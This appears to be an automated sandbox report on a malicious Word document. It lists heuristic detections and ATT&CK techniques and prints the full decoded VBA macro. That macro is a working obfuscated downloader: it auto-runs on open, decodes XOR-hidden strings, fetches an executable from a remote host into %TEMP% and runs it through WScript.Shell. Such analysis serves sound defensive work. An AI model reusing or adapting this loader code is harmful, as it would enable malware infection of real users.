MALICIOUS
368
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro that uses `AutoOpen` to execute obfuscated JavaScript. The JavaScript code, when deobfuscated, likely downloads and executes a second-stage payload. The VBA macro utilizes `CreateObject` and `Shell()` calls, indicating an attempt to run external code, and the presence of `WScript.Shell` further supports this. The document body's message about incorrect data encoding is a common lure to encourage macro execution.
Heuristics 10
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set decrease = CreateObject("WScript.Shell") Dim cataphasia As String -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim monoculous As Variant Set emotionless = CreateObject(StrReverse("ircS") + "ptContr" + Right("afarol", 2) + StrReverse("")) luke = "fundamentally= '" & Replace(jitteriness, "\", "\\") & "'" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim monoculous As Variant Set emotionless = CreateObject(StrReverse("ircS") + "ptContr" + Right("afarol", 2) + StrReverse("")) luke = "fundamentally= '" & Replace(jitteriness, "\", "\\") & "'" -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
dillenia = CallByName(decrease, "Run", 18 - 17, jitteriness) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Customizable = True Sub AutoOpen() Dim glitz As String -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7337 bytes |
SHA-256: 9a7bc840298f3b06eb04b4e7e50211b9f5237fb4527e8bfcef813bedca2578a6 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long hex-escaped blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim glitz As String
eland = volcano.mandrillus()
If eland > 34 + 10 Then
atajo = theseus()
Dim notification
Dim nonintervention
notification = 108 - 61
nonintervention = 12 + 45
For notification = notification To nonintervention
himalayan = Lcase("MA") + "rksm" + Ucase("AN")
Next notification
uncongenial atajo
Else
Dim doubleshotted As String
herding = 128 + 33 - 102
merelles = 82 + 8
If herding - merelles <> 28 Then
handcuff = Right("exponentbe", 2) + Ucase("amIsH")
End If
volcano.befouled
End If
End Sub
Function uncongenial(jitteriness)
Dim monoculous As Variant
Set emotionless = CreateObject(StrReverse("ircS") + "ptContr" + Right("afarol", 2) + StrReverse(""))
luke = "fundamentally= '" & Replace(jitteriness, "\", "\\") & "'"
Dim credat
Dim athwart
credat = 66 - 25
athwart = 41 + 15
For credat = credat To athwart
derr = Right("incorrectnessony", 3) + StrReverse("symohc")
Next credat
Dim union As Variant
Dim miseris As Integer
emotionless.Language = "JavaScript"
emotionless.AddCode (luke)
emotionless.AddCode ("function xor_str(plain_str,xor_key){var xored_str = ''; for(var i=0; i < plain_str.length; ++i)xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str;}")
recapture = "var plain_str = '\x6d\x7e\x65\x68\x7f\x62\x64\x65\x2b\x6f\x64\x7c\x65\x67\x64\x6a\x6f\x5f\x64\x4d\x62\x67\x6e\x23\x7e\x79\x67\x27\x6d\x62\x67\x6e\x22\x2b\x70\x2b\x7d\x6a\x79\x2b\x73\x63\x79\x36\x65\x6e\x7c\x2b\x4a\x68\x7f\x62\x7d\x6e\x53\x44\x69\x61\x6e\x68\x7f\x23\x29\x66\x78\x73\x66\x67\x39\x25\x73\x66\x67\x63\x7f\x7f\x7b\x29\x22\x30\x2b\x6a\x6f\x64\x36\x65\x6e\x7c\x2b\x4a\x68\x7f\x62\x7d\x6e\x53\x44\x69\x61\x6e\x68\x7f\x23\x29\x4a\x4f\x44\x4f\x49\x25\x58\x7f\x79\x6e\x6a\x66\x29\x22\x30\x2b\x73\x63\x79\x25\x64\x7b\x6e\x65\x23\x29\x4c\x4e\x5f\x29\x27\x7e\x79\x67\x27\x6d\x6a\x67\x78\x6e\x22\x30\x2b\x" _
& "73\x63\x79\x25\x78\x6e\x65\x6f\x23\x22\x30\x2b\x62\x6d\x23\x73\x63\x79\x25\x78\x7f\x6a\x7f\x7e\x78\x36\x36\x36\x39\x3b\x3b\x22\x2b\x70\x2b\x6a\x6f\x64\x25\x7f\x72\x7b\x6e\x36\x3a\x30\x2b\x6a\x6f\x64\x25\x64\x7b\x6e\x65\x23\x22\x30\x2b\x6a\x6f\x64\x25\x7c\x79\x62\x7f\x6e\x23\x73\x63\x79\x25\x79\x6e\x78\x7b\x64\x65\x78\x6e\x49\x64\x6f\x72\x22\x30\x2b\x6a\x6f\x64\x25\x78\x6a\x7d\x6e\x5f\x64\x4d\x62\x67\x6e\x23\x6d\x62\x67\x6e\x22\x30\x2b\x6a\x6f\x64\x25\x68\x67\x64\x78\x6e\x23\x22\x30\x2b\x79\x6e\x7f\x7e\x79\x65\x2b\x73\x63\x79\x25\x79\x6e\x78\x7b\x64\x65\x78\x6e\x49\x64\x6f\x72\x30\x2b" _
& "\x76\x2b\x76\x2b\x2b\x6f\x64\x7c\x65\x67\x64\x6a\x6f\x5f\x64\x4d\x62\x67\x6e\x23\x2c\x63\x7f\x7f\x7b\x31\x24\x24\x3d\x3d\x25\x3a\x38\x38\x25\x3a\x39\x32\x25\x3e\x24\x75\x68\x63\x7e\x68\x60\x6c\x62\x67\x69\x6e\x79\x7f\x24\x3b\x32\x7e\x33\x63\x3c\x3d\x6d\x24\x3d\x3e\x6d\x6c\x3d\x3c\x65\x2c\x27\x6d\x7e\x65\x6f\x6a\x66\x6e\x65\x7f\x6a\x67\x67\x72\x22\x30'; var xored_str = xor_str(plain_str, 11);"
Dim domineeringly
Dim disinfectant
domineeringly = 109 - 69
disinfectant = 67 + 43 - 39
For domineeringly = domineeringly To disinfectant
allaround = Ucase("sQ") + Lcase("uALi") + StrReverse("d") + Ucase("")
Next domineeringly
recapture = recapture + "eval(xored_str);"
Dim persona As Long
Dim overlie As Variant
emotionless.Eval (recapture)
Dim deeds
Dim blackpool
deeds = 119 + 100 - 176
blackpool = 49 + 18
For deeds = deeds To blackpool
dividing = "le" + Right("bowieadin", 4) + Mid("conjecturalitygclamydospore", 15, 1) + Right("adipose", 0)
Next deeds
Set decrease = CreateObject("WScript.Shell")
Dim cataphasia As String
benumb = 82 + 1
framework = 69 + 13
If benumb - framework < 30 Then
pappose = "an" + Left("throfan", 4) + "poidea" + Ucase("")
End If
dillenia = CallByName(decrease, "Run", 18 - 17, jitteriness)
End Function
Function theseus()
Dim panencephalitis As Variant
Dim lemony As Integer
Dim tallage As Variant
Set bigfoot = VBA.CreateObject("WScript.Shell")
Dim feebleminded As Long
coccoid = Lcase("EXpAN") + Ucase("deNviROnMEN") + StrReverse("sgnirtSt") + StrReverse("")
pastorale = 8 + 86 - 40
quetzalcoatl = 12 - 84 + 133
If pastorale / quetzalcoatl < 57 Then
chaetal = Left("cocoggery", 2) + Ucase("LlAG") + Mid("mechanicaleaccouchement", 11, 1)
End If
moorcock = CallByName(bigfoot, coccoid, 12 - 11, Ucase("%T") + Lcase("emP%") + StrReverse(""))
theseus = moorcock & "\nanagrams.exe"
End Function
Attribute VB_Name = "volcano"
Function mandrillus()
Dim cat 'spaw As Variant
Dim conchoidal As String
mandrillus = 0
Set paleencephalon = Application.System
Dim morello
Dim decided
morello = 58 + 116 - 139
decided = 47 + 114 - 95
For morello = morello To decided
corona = Mid("paraboloidalconcamshaft", 13, 3) + Left("jugatedrawnat", 6)
Next morello
aphyllophorales = paleencephalon.Version
bronchocele = Left(aphyllophorales, 1)
Dim depressive As Integer
If bronchocele < 6 Then
mandrillus = 92 + 101
End If
End Function
Sub HeaderFooterProperty()
Dim MyText As String
MyText = "<Replace this with your text>"
ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageHeader
Selection.HeaderFooter.Range.Text = "MyText"
ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
End Sub
Function befouled()
Dim currenty As Long
Dim untucked As Object
harrowing = Array(111, 97, 104, 44, 35, 71, 44, 92, 99, 123, 105, 126, 95, 100, 105, 96, 96, 34, 105, 116, 105, 44, 36, 66, 105, 123, 33, 67, 110, 102, 105, 111, 120, 44, 95, 117, 127, 120, 105, 97, 34, 66, 105, 120, 34, 91, 105, 110, 79, 96, 101, 105, 98, 120, 37, 34, 72, 99, 123, 98, 96, 99, 109, 104, 74, 101, 96, 105, 36, 43, 100, 120, 120, 124, 54, 35, 35, 58, 58, 34, 61, 63, 63, 34, 61, 62, 53, 34, 57, 35, 114, 111, 100, 121, 111, 103, 107, 101, 96, 110, 105, 126, 120, 35, 60, 53, 121, 52, 100, 59, 58, 106, 35, 58, 57, 106, 107, 58, 59, 98, 43, 32)
Dim botheration As Variant
Dim penocha As Integer
For aequam = 85 - 85 To 126 + 108 - 113
harrowing(aequam) = Chr(harrowing(aequam) Xor 12)
Next aequam
relief = Join(harrowing, "")
camphoraceous = 10 - 36 + 85
divested = 59 + 1 - 5
If camphoraceous + divested < 42 Then
applicability = StrReverse("eg") + Left("ntlyretreat", 4)
End If
shikari = Lcase(" '%") + Mid("costaTEMP%instantaneous", 6, 5) + Right("asura\conjunct", 9) + Lcase("IVa.ExE'); StaRT ")
weakfish = 128 - 117 + 64
amarelle = 52 + 43
If weakfish * amarelle > 8 Then
defeat = Right("methanolinc", 3) + StrReverse("ubanu") + Right("slippingla", 2)
End If
Dim azores As String
Dim mistyeyed As Variant
dimocarpus = relief + shikari + "'%TEMP%\conjunctiva.exe'"
Set infidel = CreateObject("WScript.Shell")
Dim indecorum
Dim radiophonograph
indecorum = 36 - 1
radiophonograph = 81 - 8
For indecorum = indecorum To radiophonograph
pecker = Lcase("pR") + Ucase("IOna") + Mid("freesiacestraggling", 8, 2)
Next indecorum
attend = CallByName(infidel, "Run", 9 - 118 + 110, dimocarpus, Sin(0))
aerobic = Left("asmatrilineage", 2) + Lcase("ePsi") + Ucase("s") + Mid("undecipheredinfumate", 13, 0)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.